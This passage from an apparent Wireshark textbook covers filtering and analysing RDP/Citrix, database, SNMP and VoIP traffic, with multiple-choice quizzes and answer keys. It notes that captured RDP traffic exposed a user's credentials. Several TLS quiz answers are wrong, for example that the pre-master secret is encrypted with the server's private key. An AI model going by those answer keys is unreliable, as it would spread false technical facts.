Moving on to the next chapter, Analyzing Enterprise Applications, we will explore various types of applications commonly used in enterprise networks, including Microsoft Terminal Server and Citrix, databases, and Simple Network Management Protocol (SNMP). We will learn how to use Wireshark to analyze these applications and identify potential issues and network performance problems. This chapter will be valuable for those who work in enterprise network administration or security, or for those who want to gain a deeper understanding of how enterprise applications work.

 

Questions

1. What is the purpose of SSL/TLS?

a) To provide a secure connection between two devices

b) To increase network speed

c) To decrease network latency

d) None of the above

2. Which protocol is used for the SSL/TLS handshake?

a) SSL/TLS

b) UDP

c) TCP

d) HTTP

3. During  the  SSL/TLS  handshake,  what  is  the  client's

first message to the server?

a) Server Hello

b) Client Hello

c) Certificate

d) None of the above

4. What  is  the  purpose  of  the  Server  Hello  message

during the SSL/TLS handshake?

a) To provide the client with the server's public key

b) To negotiate the cipher suite used for the connection

c) To request the client's certificate

d) None of the above

5. What  is  the  name  of  the  file  that  contains  the  pre-

master  secret  used  to  decrypt  SSL/TLS  traffic  in

Wireshark?

a) sslkey.log

b) masterkey.log

c) premasterkey.log

d) secretkey.log

6. How  is  the  pre-master  secret  encrypted  during  the

SSL/TLS handshake?

a) With the client's public key

b) With the server's private key

c) With a symmetric key

d) None of the above

7. In  order  to  decrypt  SSL/TLS  traffic,  what  key  is

required?

a) The server's private key

b) The client's public key

c) The server's public key

d) None of the above

8. What  is  the  purpose  of  the  RSA  private  key  in

SSL/TLS decryption?

a) To decrypt the server's public key

b) To encrypt the pre-master secret

c) To decrypt the pre-master secret

d) None of the above

9. In Wireshark, how do you add an RSA private key for

SSL/TLS decryption?

a) Go  to  File  |  select  Decrypt  SSL/TLS  Traffic  |  select  the

RSA private key

b)  Go  to  Preferences  |  select  the  TLS  protocol  |  edit  the

RSA Keys list

c) Go to Capture Options | select SSL/TLS decryption | add

the RSA private key

d) None of the above

10. In  Wireshark,  where  is  the  decrypted  SSL/TLS  traffic

displayed?

a) In the "Decrypted TLS" tab in the bottom view

b) In the "Follow TLS Stream" tab

c) In the "HTTP" tab

d) None of the above

 

Answers

1. a

2. c

3. b

4. b

5. c

6. b

7. a

8. c

9. b

10. a
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CHAPTER 8

 

Analyzing Enterprise

Applications

 

Introduction

In the previous chapter, the main focus was on examining and decoding SSL/TLS traffic using Wireshark. In this chapter, we will expand on this knowledge by demonstrating how Wireshark can be used to analyze a range of enterprise applications.

To begin with, we will examine how Microsoft Terminal Server and Citrix communications can be analyzed. Microsoft Terminal Server is a remote desktop service that allows users to access their applications and data from any location, while Citrix provides similar access to virtual applications and desktops. Analyzing these communications can help you understand how these services are being utilized and identify any potential difficulties or blockages.

After that, we will cover how to scrutinize database traffic. Many enterprise applications rely on databases to store and retrieve data. By analyzing the traffic between the application and the database, you can detect performance problems, diagnose errors, and troubleshoot other issues.

Lastly, we will delve into the analysis of Simple Network Management Protocol (SNMP) traffic. SNMP is a protocol that is utilized for network management and monitoring. Analyzing SNMP traffic can help you gain insight into the performance of your network devices, such as routers, switches, and servers. This can assist you in identifying potential issues before they become major problems.

 

Structure

In this chapter, we will discuss the following topics:

Identifying the service running over the network

Analyzing    Microsoft    Terminal    Server    and    Citrix communications

Analyzing the database traffic

Analyzing SNMP traffic

 

Objectives

In this chapter, you will learn how to use Wireshark to analyze various enterprise applications and their network traffic. Wireshark is a powerful tool that can help in identification of the network traffic and corresponding protocol. You will also learn how to analyze specific applications, such as Microsoft Terminal Server and Citrix, which allow remote access to desktops and applications. Moreover, you will learn how to analyze database traffic, such as SQL queries and responses, and diagnose errors and performance issues that may affect your database applications.

Finally, you will learn how to analyze SNMP traffic, which is a protocol that monitors and manages the performance of your network devices, such as routers, switches, and servers. By the end of this chapter, you will have a solid understanding of how to use Wireshark to analyze various enterprise applications and their network traffic.

Through practical examples and step-by-step instructions, this chapter will equip you with the skills and knowledge you need to become an effective network analyst. By mastering the techniques outlined in this chapter, you can identify and troubleshoot issues in a wide range of enterprise applications.

 

Identifying the service running over the network

When monitoring a new network, it is important to determine which applications and network protocols are being utilized, as multiple applications running concurrently on the network can interact and affect each other.

Wireshark is a robust network protocol analyzer that enables you to capture, investigate, and examine network traffic. This tool makes it simple to detect the applications being utilized on your network, including those specific to enterprises.

The following is a step-by-step guide on how to use Wireshark to discover which enterprise applications are currently in use on your network:

1. Launch  Wireshark:  Launch  Wireshark  and  select  the

network interface on which you want to capture traffic. Click

on "Capture" and select the appropriate interface.

2. Begin the capture: Once you have selected the interface,

click on "Start" to begin capturing network traffic.

3. Generating  Network  Traffic:  Wait  for  some  traffic  to  be

generated.  Generate  network  traffic  by  browsing  the  web,

using  enterprise  applications,  or  performing  any  other

network-related  activity.  Once  you  have  captured  some

traffic, click on "Stop" to stop the capture.

4. Analyze  the  captured  packets:  Look  for  the  "Protocol"

column in the Wireshark main window. This column displays

the  protocols  used  in  each  packet.  Search  for  packets  that

utilize protocols commonly used by enterprise applications,

such as HTTP, HTTPS, FTP, SMTP, and DNS, as shown in the

Figure 8.1:
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Figure 8.1: Captured packets

5. Seek  application-specific  information:  Look  for  any

application-specific  information  in  the  packet.  For  instance,

if it is an HTTP packet, search for the "User-Agent" field to

determine  what  application  is  sending  the  request,  as  can

be  shown  in  the Figure  8.2.  Similarly,  search  for  other

application-specific  information  to  identify  the  enterprise

applications running over your network.
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Figure 8.2: User—Agent field in HTTP packet

6. Deeper  analysis  using  Wireshark:  Wireshark  offers

various features for deeper analysis of the captured traffic.

For  example,  you  can  use  the "Statistics"  menu  to  view

protocol hierarchy, conversations, or endpoints.

Protocol  Hierarchy  feature  provides  a  summary  of  the

protocols  that  were  used  in  the  captured  packets,  along

with their relative frequency and byte count. You can access

this  feature  by  navigating  to  "Statistics"  |  "Protocol

Hierarchy",  as  you  can  see  in  the Figure 8.3.  This  can  be

helpful for identifying which protocols are being used most

frequently on your network.
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Figure 8.3: Protocol hierarchy statistics

Conversations feature  displays  a  summary  of  the

conversations between endpoints on your network. You can

access  this  feature  by  navigating  to  "Statistics"  |

"Conversations". This can be helpful for identifying which

devices  are  communicating  with  each  other  and  which

protocols  they  are  using. Figure  8.4  illustrates  the

“conversations” feature:
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Figure 8.4: Wireshark’s Conversations Feature

Endpoints feature displays a list of the endpoints involved

in  the  captured  traffic,  along  with  the  number  of  packets

and  bytes  sent  and  received  by  each  endpoint.  You  can

access  this  feature  by  navigating  to  "Statistics"  |

"Endpoints".  This  can  be  helpful  for  identifying  which

devices are generating or receiving the most traffic on your

network, as shown in the Figure 8.5:
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Figure 8.5: Wireshark’s Endpoints Feature

7. Employ filters: Employ the "Filter" feature in Wireshark to

filter  packets  based  on  the  protocol  or  application  you  are

interested in. This will let you narrow down the results and

identify  the  relevant  packets.  Here  we  have  filtered  all  the

http  related  packets  by  using  “http”  in  filter  box,  as

illustrated in the Figure 8.6:
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Figure 8.6: HTTP filtered packets

8. Analyze  the  results:  Once  you  have  identified  the

enterprise  applications  running  on  your  network,  take

appropriate  action  to  manage  and  optimize  their

performance, if necessary.

By adhering to these steps, you can use Wireshark to ascertain which enterprise applications are presently being utilized on your network.

 

Analyzing Microsoft Terminal Server and Citrix

communications

Microsoft Terminal Server (MS-TS ) and Citrix Metaframe Independent Computing Architecture (ICA) protocols are commonly used for remote connectivity for PCs and thin clients. These applications transfer screen changes over the network, meaning that if there are several changes occurring on the screen, it will require high bandwidth, whereas if there are only a few changes, it will require low bandwidth.

Note: It is important to note that the traffic in these applications is entirely asymmetric, meaning that downstream traffic (from the server to the client) can range from 10 Kbps up to several Mbps, while upstream traffic (from the client to the server) will typically be only several Kbps at most. When designing your network for these applications, it is essential to keep this in mind to ensure optimal performance.

 

Typical problems that may arise with these applications include slow screen updates, network latency, and poor image quality. Here are some steps to follow when using Wireshark to troubleshoot these types of issues:

1. To troubleshoot issues with MS-TS and Citrix, one can start

by asking users questions and following certain steps. First,

ask  users  if  they  experience  delay  in  data  transmission  in

the  data  on  their  screen  or  when  switching  between

windows.  Slow  window  changes,  frozen  window,  and  slow

scrolling of graphical documents indicate an MS-TS problem.

If users are trying to generate a report, but it takes a long

time,  it  is  likely  a  database  issue  rather  than  MS-TS  or

Citrix.  If  users  experience  delays  while  typing  over  a  high-

delay  communication  line,  it  may  be  due  to  slow  window

changes caused by MS-TS.

2. To  monitor  the  communication  line  with  Wireshark,  use IO

graphs  (navigate  to  the  IO  (Input/Output)  graphs  in

Wireshark,  select  a  packet,  go  to "Statistics"  in  the  top

menu, and choose the relevant IO graph option) and filters

to monitor upstream and downstream directions. Configure

bits  per  second  on  the  y-axis  and  observe  the  traffic

pattern, as shown in Figure 8.7. A high downstream and low

upstream  traffic  with  a  maximum  throughput  between  a

certain  time  interval  can  cause  applications  to  slow  down

and users to experience freezes and slow menus.
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Figure 8.7: Wireshark I/O graphs

3. When  monitoring  MS-TS  servers,  remember  that  clients

access the server with MS-TS while the server accesses the

application  with  another  client  installed.  Performance

problems can come from either MS-TS or the application. If

it is an MS-TS problem, identify if it is a network or system

issue  by  checking  network  loads  and  server  performance.

MS-TS  applications  are  often  memory-consuming,  so  check

for memory (RAM) issues.

4. Remember  that  Citrix  ICA  clients  typically  use  TCP  ports

3389  or  1494  to  connect  to  presentation  servers.  After

capturing,  filter  the  traffic  for  specific  applications  -

Microsoft Terminal Server and Citrix. In this example, let us

capture  the  traffic  for  the Remote  Desktop  Protocol

(RDP)  used  by  Microsoft  Terminal  Server  and  the  ICA

protocol used by Citrix.

Here,  we  can  apply  a  filter  by  clicking  on  the  filter  box  at

the top of the Wireshark window and typing "tcp.port == 3389

||  tcp.port  ==  1494",  as  shown  in  the Figure  8.8.  This  filter

captures  the  traffic  for  the  RDP  protocol  used  by  Microsoft

Terminal Server and the ICA protocol used by Citrix.
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Figure 8.8: RDP filtered packets used by Microsoft Terminal Server and the

ICA protocol used by Citrix

5. Analyze  the  captured  traffic  to  identify  any  issues  that  is

slowing down the performance. Look for indicators like high

latency,  packet  loss,  or  excessive  re-transmissions,  which

can  indicate  network  congestion  or  other  issues.  We  can

use  the  "Statistics"  menu  to  view  statistics  on  the

captured packets or use the "Follow TCP Stream" or "Follow

UDP  Stream"  options  to  view  the  entire  conversation

between two hosts.

For example, now we have the client and host IP address so

apply a display filter to find data shared by the client. Here

we have used, “rdp.client.address==192.168.122.140” in the filter

box, which is shown in the Figure 8.9:
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Figure 8.9: Filtered packets to find data shared by the client

As shown in the above figure, we have successfully identified the user credentials used by client on the RDP server including the username and password. The credentials could also be leveraged by an attacker to compromise the system and takeover it completely.

 

Analyzing the database traffic

This section discusses the use of Wireshark to identify and troubleshoot common database problems. While databases and applications are separate from the network and infrastructure, analyzing network traffic can provide insights that can assist Database Administrators (DBAs) in resolving issues.

When users report problems with the network, it is essential to ensure that the network is not the source of the issue. Although it is not the primary responsibility of network administrators to debug databases, analyzing traffic using tools like Wireshark can reveal details that could be useful to DBAs.

To prepare for analyzing database traffic, it is necessary to verify that the network is not causing the reported issue. Following the guidelines below can help rule out the possibility of a slow network.

In the event of database issues, the following steps should be taken:

1. When  receiving  complaints  about  slow  network  responses,

various  questions  can  be  asked  to  determine  the  cause  of

the  issue.  These  questions  include:  Is  the  issue  global  or

local?  Does  it  affect  all  clients  or  only  some?  Is  the

communication    line    between    clients    and    servers

overloaded? Are all applications running slowly, or is it only

those that interact with a specific database?

In order to generate database traffic, you need a database

that  is  actively  serving  or  receiving  data  and  a  database

client  application  to  interact  with  the  database.  Perform

actions like querying, inserting, or deleting data.

2. Start capturing: After completing the questionnaire, open

Wireshark  and  begin  capturing  packets.  To  do  this,  select

the  network  interface  that  you  want  to  capture  traffic  on,

and click on the "Start Capture" button in the toolbar.

3. Filter traffic: Once you have captured the traffic, you need

to  filter  it  to  isolate  the  database  traffic.  This  can  be  done

by applying a display filter to show only the packets related

to  the  database  protocol  that  you  are  interested  in.  For

example, if you are analyzing MySQL traffic, you can apply a

filter  by  typing  "mysql"  in  the  filter  field.  As  illustrated  in

Figure  8.10,  you  can  apply  a  filter  for  packets  transmitted

and received via the MySQL port by entering "tcp port==3306":
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Figure 8.10: MySQL port filtered packets

 

4. Examine  packets:  After  filtering  the  traffic,  you  can

examine  the  packets  to  identify  the  database  transactions

taking place. This involves looking for database commands

and responses in the captured packets.

Here,  in Figure  8.11,  MySQL  packets  begin  with  a

handshake process between the client and server.

Look for packets containing the "SYN" flag and the "ACK" flag,

as these are part of the TCP three-way handshake process.
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Figure 8.11: Handshake process of MySQL

After  the  handshake  is  complete,  the  client  sends  an

authentication request to the server.

5. Analyze  authentication  and  query  packets:  Identify

packets  with  "MYSQL”  protocol,  as  these  packets  contain

MySQL     authentication     and     query     information.

Authentication  packets  will  contain  a  "login  request"

message,  as  can  be  seen  in Figure  8.12,  while  query

packets will contain an SQL query message:
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Figure 8.12: MySQL Login Request packet

 

Analyze  the  query  packets  to  determine  the  types  of

queries  being  executed,  as  well  as  any  errors  or  warnings

that may occur.

6. Follow  the  TCP  stream  for  larger  queries:  For  larger

queries,  you  can  follow  the  TCP  stream  to  view  the  entire

query  in  one  place.  Right-click  on  a  packet  containing  a

query and select "Follow" | "TCP Stream". This will open a

new  window  with  the  entire  query,  making  it  easier  to

analyze, as illustrated in Figure 8.13:
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Figure 8.13: TCP Stream to view the entire query

7. Analyze server responses: After a query is executed, the

server will send a response packet to the client. Look for "OK

"  or  "Error"  response  packets,  as  these  packets  contain

information  about  the  success  or  failure  of  the  query,  as

shown in the Figure 8.14:
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Figure 8.14: OK or Error response packet

By following these steps, you can perform a full analysis of MySQL database packets using the Wireshark tool. This can be useful for troubleshooting performance issues or identifying potential security threats.

Now, let us look at some examples of how to analyze database traffic using Wireshark:

Example 1: Analyzing MySQL traffic

MySQL is a widely used open-source relational database management system that uses the SQL language for querying and manipulating data. By default, MySQL uses port 3306, but it can be changed by modifying the configuration file or by specifying a different port when starting the server.

Now, let us focus on the analysis of MySQL traffic:

1. Start capturing traffic using Wireshark. To start the analysis,

we need to run Wireshark on either the client or the server

machine,  or  on  a  machine  that  can  intercept  the  traffic

between  them.  Otherwise,  we  will  not  be  able  to  capture

the packets that are exchanged.

2. Apply a filter to show only MySQL traffic by typing "mysql" in

the  filter  field  and  press  enter.  This  will  display  only  the

packets  that  have  mysql  as  their  protocol  name.

Alternatively, we can use the expression “tcp.port == 3306” to

filter by the port number, assuming that MySQL is using the

default port.

3. After  applying  the  filter,  we  can  see  the  packets  that  are

sent and received by the client and the server. Each packet

contains  information  about  the  source  and  destination

addresses, ports, sequence and acknowledgment numbers,

flags,  and  payload.  The  payload  is  the  part  of  the  packet

that  carries  the  actual  data  of  the  MySQL  protocol.

Wireshark can decode and display the payload in a human-

readable  format,  showing  us  the  type  and  content  of  each

message.

4. Examine  the  packets  to  identify  the  database  transactions

taking place. We can look for SQL commands such as SELECT,

INSERT, UPDATE,  and DELETE,  which  are  sent  by  the  client  to

query  or  modify  data  in  the  server.  We  can  also  look  for

responses from the server, such as authentication requests,

query  results,  error  messages,  or  notifications.  Refer  to

Figure  8.15  for  an  illustration  of  a  MySQL  packet  captured

by Wireshark.

[image: ]

Figure 8.15: Examine MySQL packets

Example 2: Analyzing PostgreSQL traffic

In this example, we will learn how to analyze the database transactions that take place between a PostgreSQL client and a server. PostgreSQL is a popular open-source relational database management system that uses the SQL language for querying and manipulating data. To capture and examine the PostgreSQL traffic, we will use Wireshark that can display the details of each packet.

To start the analysis, we need to run Wireshark on either the client or the server machine, or on a machine that can intercept the traffic between them. Otherwise, we will not be able to capture the packets that are exchanged. By default, PostgreSQL uses port 5432, but it can be changed by modifying the configuration file or by specifying a different port when starting the server.

Now, let us focus on the analysis of PostgreSQL traffic:

1. Once  Wireshark  is  running,  we  can  apply  a  filter  to  show

only the packets that belong to the PostgreSQL protocol. To

do  this,  we  can  type  “pgsql”  in  the  filter  field  and  press

Enter. This will display only the packets that have pgsql as

their  protocol  name.  Alternatively,  we  can  use  the

expression  “tcp.port  ==  5432”  to  filter  by  the  port  number,

assuming that PostgreSQL is using the default port.

2. After  applying  the  filter,  we  can  see  the  packets  that  are

sent and received by the client and the server. Each packet

contains  information  about  the  source  and  destination

addresses, ports, sequence and acknowledgment numbers,

flags,  and  payload.  The  payload  is  the  part  of  the  packet

that  carries  the  actual  data  of  the  PostgreSQL  protocol.

Wireshark can decode and display the payload in a human-

readable  format,  showing  us  the  type  and  content  of  each

message.

3. By  examining  the  payload  of  each  packet,  we  can  identify

the  database  transactions  that  are  taking  place.  We  can

look  for  SQL  commands  such  as SELECT, INSERT, UPDATE,  and

DELETE, which are sent by the client to query or modify data

in  the  server.  We  can  also  look  for  responses  from  the

server, such as authentication requests, query results, error

messages, or notifications.

For example, let us look at a packet that contains a SELECT command from the client. The packet has a payload of 29 bytes, which consists of a message header and a message body. The message header has 5 bytes: one byte for the message type (Q for Query), and four bytes for the message length (29). The message body has 24 bytes: 23 bytes for the query string (“SELECT * FROM users;”), and one byte for a null terminator (0x00).

Wireshark displays this information in a structured way under the pgsql protocol tree. We can expand or collapse each node to see more or less details. We can also right-click on any node and choose “Copy” to copy its value to the clipboard.

By analyzing PostgreSQL traffic using Wireshark, we can gain insight into how the client and the server communicate with each other, what kind of queries are executed, and what kind of results are returned. This can help us troubleshoot problems, optimize performance, or learn more about PostgreSQL protocol.

Example 3: Analyzing MongoDB traffic

In this example, we will learn how to analyze the database transactions that take place between a MongoDB client and a server. MongoDB is a popular open-source document-oriented database system that uses the BSON format for storing and exchanging data.

Now, let us focus on the analysis of MongoDB traffic:

1. To start the analysis, we need to run Wireshark on either the

client  or  the  server  machine,  or  on  a  machine  that  can

intercept  the  traffic  between  them.  We  also  need  to  know

the  port  number  on  which  MongoDB  is  listening  for

connections.  By  default,  MongoDB  uses  port  27017,  but  it

can  be  changed  by  modifying  the  configuration  file  or  by

specifying a different port when starting the server.

2. Once  Wireshark  is  running,  we  can  apply  a  filter  to  show

only  the  packets  that  belong  to  the  MongoDB  protocol.  To

do  this,  we  can  type  “mongo”  in  the  filter  field  and  press

enter. This will display only the packets that have mongo as

their  protocol  name.  Alternatively,  we  can  use  the

expression  “tcp.port  ==  27017”  to  filter  by  the  port  number,

assuming that MongoDB is using the default port.

3. After  applying  the  filter,  we  can  see  the  packets  that  are

sent and received by the client and the server. Each packet

contains  information  about  the  source  and  destination

addresses, ports, sequence and acknowledgment numbers,

flags,  and  payload.  The  payload  is  the  part  of  the  packet

that  carries  the  actual  data  of  the  MongoDB  protocol.

Wireshark can decode and display the payload in a human-

readable  format,  showing  us  the  type  and  content  of  each

message.

4. By  examining  the  payload  of  each  packet,  we  can  identify

the  database  transactions  that  are  taking  place.  We  can

look  for  MongoDB  commands  such  as  find,  insert,  update,

and delete, which are sent by the client to query or modify

data in the server. We can also look for responses from the

server,  such  as  query  results,  error  messages,  or

acknowledgments.

For example, let us look at a packet that contains a find command from the client. The packet has a payload of 78 bytes, which consists of a message header and a message body. The message header has 16 bytes: four bytes for the message length (78), four bytes for the request ID (1), four bytes for the response ID (0), and four bytes for the operation code (2004 for OP_QUERY). The message body has 62 bytes: four bytes for flags (0), 12 bytes for full collection name (“test.products”), four bytes for number to skip (0), four bytes for number to return (0), and 38 bytes for query document ({“name”: “book”}).

Wireshark displays this information in a structured way under the mongo protocol tree. We can expand or collapse each node to see more or less details. We can also right-click on any node and choose “Copy” to copy its value to the clipboard.

By analyzing MongoDB traffic using Wireshark, we can gain insight into how the client and the server communicate with each other, what kind of queries are executed, and what kind of results are returned. This can help us troubleshoot problems, optimize performance, or learn more about MongoDB protocol.

To summarize, Wireshark is a powerful tool for analyzing database traffic. By filtering, examining, decoding, and following TCP streams, you can identify the database transactions taking place and troubleshoot any issues. Custom filters can also help you focus on the packets that are most relevant to your analysis.

 

Analyzing SNMP traffic

Simple Network Management Protocol (SNMP) is an application layer protocol for managing and monitoring network devices, such as routers, switches, servers, and printers. It allows network administrators to remotely monitor and configure network devices from a central location.

SNMP works by using a manager-agent model. The SNMP manager is the central system that monitors and manages the network devices, while the SNMP agent is the software running on the network device being monitored. The SNMP agent provides information about the device's status and performance, and the SNMP manager can use this information to make decisions about managing the network.

SNMP uses a hierarchical structure called the Management Information Base (MIB) to organize and represent the data it collects from network devices. Each SNMP-enabled device has its own MIB, which contains information about the device's configuration, performance, and status.

SNMP can be used for various network management tasks, including monitoring network traffic, configuring network devices, and troubleshooting network issues. It is widely used in enterprise networks, telecommunications networks, and Internet service provider (ISP) networks.

To perform a full analysis of SNMP traffic using Wireshark tool, follow the steps below:

1. Capture  SNMP  packets:  Open  Wireshark  and  select  the

network  interface  you  want  to  capture  packets  from.  To

apply  a  filter  on  packets  transmitted  and  received  through

the  SNMP  port,  input  "udp  port  161"  in  the  filter  box,  as

depicted in Figure 8.16. To commence the packet capturing

process, click on the "Start Capture" button.
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Figure 8.16: SNMP captured packets

2. Analyze SNMP messages: SNMP packets are divided into

SNMP  messages,  which  contain  information  about  the

request or response being sent. Look for packets containing

the  "SNMP"  protocol,  as  these  packets  contain  SNMP

messages.

Analyze  the  SNMP  messages  to  determine  the  type  of

request  or  response  being  sent,  as  well  as  any  errors  or

warnings  that  may  occur,  as  shown  in Figure  8.17.  Also,

analyze the SNMP header to determine the version of SNMP

Protocol  being  used  and  the  community  string  being  used

for authentication.
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Figure 8.17: Analyze SNMP messages

3. Follow  the  SNMP  stream  for  larger  messages:  For

larger SNMP messages, you can follow the SNMP stream to

view  the  entire  message  in  one  place.  Right-click  on  a

packet containing an SNMP message and select "Follow"  |

"UDP Stream". This will open a new window with the entire

SNMP message, making it easier to analyze.
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Figure 8.18: Follow UDP Stream

4. Analyze SNMP variables: SNMP messages contain one or

more  SNMP  variables,  which  contain  information  about  the

request or response being sent. Look for packets containing

the "SNMP Variable Binding" protocol, as in the Figure 8.19,

as these packets contain SNMP variables. Analyze the SNMP

variables to determine the type of data being sent, as well

as any errors or warnings that may occur.




[image: ]

Figure 8.19: Analyze SNMP variables

By following these steps, you can perform a full analysis of the SNMP protocol using the Wireshark tool. This can be useful for troubleshooting SNMP-related issues or identifying potential security threats.

 

Conclusion

In this chapter, we have learned how to use Wireshark to analyze a range of enterprise applications such as Microsoft Terminal Server, Citrix communications, databases, and Simple Network Management Protocol (SNMP) traffic. By scrutinizing the traffic of these applications, we can identify potential issues, diagnose errors, and troubleshoot problems to ensure smooth performance.

In the next chapter, we will explore how to analyze Voice over Internet Protocol (VoIP) calls using Wireshark. VoIP technology allows users to make voice and video calls over the internet. Analyzing VoIP traffic can help us identify problems related to call quality, diagnose errors, and troubleshoot other issues. By utilizing Wireshark, we can capture and analyze VoIP traffic to understand how it works, detect and troubleshoot issues, and improve overall call quality.

Questions

1. What is Microsoft Terminal Server?

a) A remote desktop service

b) A database management system

c) A network monitoring tool

d) An email server

2. What is Citrix?

a) An email server

b) A database management system

c) A virtual application and desktop access service

d) A protocol for network management

3. What  can  analyzing  Microsoft  Terminal  Server  and

Citrix communications help with?

a) Identifying potential difficulties or blockages

b) Enhancing the security of the network

c) Increasing the bandwidth of the network

d) Optimizing server performance

4. What  is  Simple  Network  Management  Protocol

(SNMP) used for?

a) Virtual application and desktop access

b) Database management

c) Remote desktop services

d) Network management and monitoring

5. What can analyzing SNMP traffic help with?

a) Diagnosing errors in databases

b) Troubleshooting issues with VoIP calls

c) Identifying potential network device issues

d) Enhancing server performance

6. What is the purpose of analyzing database traffic?

a) Enhancing server performance

b) Diagnosing errors and troubleshooting issues

c) Monitoring network traffic

d) Increasing network bandwidth

7. What  is  the  Wireshark  filter  for  capturing  traffic  on

the MySQL port?

a) "udp port 3306"

b) "tcp port 3306"

c) "icmp port 3306"

d) "http port 3306"

8. What  is  the  purpose  of  the  SNMP  Set-Request

message?

a) To set a specific piece of information on an SNMP agent

b) To set up a virtual application on an SNMP agent

c) To set up a remote desktop session on an SNMP agent

d) To set up a network flow on an SNMP agent

9. What is the purpose of the Wireshark filter "sql"?

a) To capture all SQL packets with a specific query string

b)  To  capture  all  SQL  packets  with  a  specific  response

string

c) To capture all SQL responses sent and received

d) To capture all SQL queries sent and received

10. What  is  the  purpose  of  the  Wireshark  filter

"mysql.err"?

a) To capture all MySQL query packets with errors

b) To capture all MySQL response packets with errors

c) To capture all MySQL error messages sent and received

d) To capture all MySQL packets with a specific error code

 

Answers

1. a

2. c

3. a

4. d

5. c

6. b

7. b

8. a

9. d

10. c
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CHAPTER 9

 

Analysing VoIP Calls Using

Wireshark

 

Introduction

This chapter delves into the fascinating world of Voice over Internet Protocol (VoIP) calls and discusses how they can be analyzed using the powerful tool, Wireshark. Building upon our previous understanding of analysis of Microsoft Terminal Server and Citrix communications with Wireshark, we now shift our focus to VoIP. VoIP has revolutionized telecommunications by enabling voice communication over IP networks, allowing for cost-effective and feature-rich voice calls.

This chapter demonstrates how to use Wireshark to capture and filter VoIP traffic on different network interfaces and devices. It also shows how to use Wireshark’s display filters and color codes to highlight and isolate VoIP packets and messages.

This chapter teaches how to use Wireshark’s built-in tools and statistics to analyze Real-time Transport Protocol (RTP) streams in VoIP traffic. It shows how to use the RTP Stream Analysis window, the RTP Player, the RTP Stream Graphs, and the Telephony menu to examine and evaluate the quality and performance of RTP streams.

This chapter will help you get started with VoIP traffic architecture, its supporting protocols. After that, reader will learn how to use Wireshark to capture and view VoIP calls. You will also learn how to decode the packets in order to understand what happens during a conversation.

Structure

In this chapter, we will discuss the following topics:

Introduction to VoIP technology

VoIP architecture

Working of VoIP

VoIP supporting protocols

Sniffing VoIP traffic

SIP call analysis

Analysing RTP streams in VoIP traffic

Challenges/limitations  in  analyzing  VoIP  calls  through Wireshark

 

Objectives

The primary objective of this chapter is to equip readers with the necessary knowledge and skills to effectively analyze VoIP calls using Wireshark. The readers will learn about the basic architecture and protocols of VoIP traffic, such as Session Initiation Protocol (SIP), Real-time Transport Protocol (RTP), Secure Real-time Transport Protocol (SRTP), etc. They will also learn how to use Wireshark to sniff and filter VoIP traffic, and analyse RTP streams in VoIP traffic using Wireshark’s built-in features.

By the end of this chapter, the readers will be able to identify and diagnose common issues and problems in VoIP traffic, such as packet loss, jitter, delay, and codec mismatch.

 

Introduction to VoIP technology

Voice over Internet Protocol (VoIP) is a groundbreaking communication technology that facilitates the seamless transmission of voice and multimedia content over Internet Protocol (IP) networks. By leveraging the power of the internet, VoIP empowers users to engage in phone calls and video conferences without the need for traditional telephone lines. The core functionality of VoIP lies in its ability to convert analog voice signals into discrete digital data packets, which are then conveyed across IP networks, resulting in highly efficient and cost-effective communication.

The process of initiating VoIP telephone calls shares fundamental similarities with conventional digital telephony. It encompasses vital steps such as signaling, channel establishment, analog voice signal digitization, and encoding. However, unlike its traditional counterpart, VoIP diverges by employing packet-switched networks rather than circuit-switched networks. Consequently, the digital information is encapsulated into packets and transmitted as IP packets through a packet-switched network.

To transport media streams effectively, VoIP relies on specialized media delivery protocols, which employ audio codecs and video codecs to encode audio and video content. These codecs play a crucial role in optimizing the media stream according to the specific requirements of the application and the available network bandwidth. There exists a diverse array of codecs, catering to different needs. Some implementations prioritize narrowband and compressed speech codecs, ensuring efficient utilization of resources, while others support high-fidelity stereo codecs, guaranteeing exceptional audio quality for discerning users.

 

Benefits of using VoIP

There are several benefits to using VoIP, including:

Cost-effectiveness:  VoIP  often  provides  significant  cost savings  compared  to  traditional  phone  services.  Since  VoIP calls are transmitted over IP networks, there are no separate charges  for  long-distance  or  international  calls.  Additionally, businesses  can  consolidate  their  voice  and  data  networks, reducing infrastructure and maintenance costs.

Flexibility and scalability:  VoIP  systems  are  highly  flexible and scalable. They can accommodate a large number of users and  support  various  communication  features  such  as  call forwarding,  voicemail,  conference  calling,  and  more.  Adding or  removing  users  and  features  is  typically  straightforward and can be done through software configuration.

Mobility:  VoIP  allows  users  to  make  and  receive  calls  from anywhere  with  an  internet  connection.  With  the  use  of

softphones  (software-based  phone  applications)  and  mobile VoIP  apps,  individuals  can  use  their  smartphones,  tablets,  or computers  to  make  calls,  eliminating  the  dependency  on physical phone lines.

Integration  with  other  applications:  VoIP  technology  can integrate  with  other  communication  and  collaboration  tools, such as instant messaging, video conferencing, and customer relationship management (CRM) systems. This integration enhances productivity and streamlines communication within organizations.

Advanced  features:  VoIP  systems  offer  advanced  features like    call    recording,    call    analytics,    automatic  call distribution  (ACD), interactive  voice  response  (IVR) systems,  and  more.  These  features  enhance  efficiency,  call management, and customer service capabilities.

 

VoIP architecture

VoIP architecture represents a sophisticated network framework that facilitates real-time audio communication over an internet connection. It comprises several essential components, each playing a crucial role in the functioning of the VoIP network.

Let us delve into the intricate details of each component:

 

Session Border Controller

A Session Border Controller or SBC is a special-purpose device that protects and regulates IP communications flows. As the name implies, session border controllers are deployed at network borders to control IP communications sessions. The SBC is a pivotal network element deployed to safeguard SIP-based VoIP networks. While initially focused on interconnecting service provider networks in a peering environment, SBCs now serve to establish connections between a service provider's access network and a backbone network, catering to residential and enterprise customers.

These gateways connect to analog call services, manage bandwidth, and maintain session state. They optimize network traffic and ensure peak performance while providing robust security, regulatory compliance, and quality of service. SBCs protect against malicious attacks, encrypt signaling and media, and offer features like access to the Public Switched Telephone Network (PSTN).

 

Media servers

Media servers are indispensable in VoIP phone systems as they facilitate the integration of advanced voice features. These servers enable functions like voice-activated dialing, customized call progress tones, voicemail transcription, Interactive Voice Response (IVR), and video calling. They serve as platforms for voicemail services, call recording, call queue messages, and other audio-based functionalities. They are capable of handling numerous Session Initiation Protocol (SIP) calls simultaneously and enhance the overall communication experience.

 

Application server

An application server in a VoIP system provides essential call management features, including call forwarding, call waiting, call transfer, and IP phone service. It enables the seamless integration of phone services with the IP network, ensuring efficient call routing and robust Call Detail Record (CDR) generation. An application server works in conjunction with other elements such as media servers and session controllers.

 

Database services

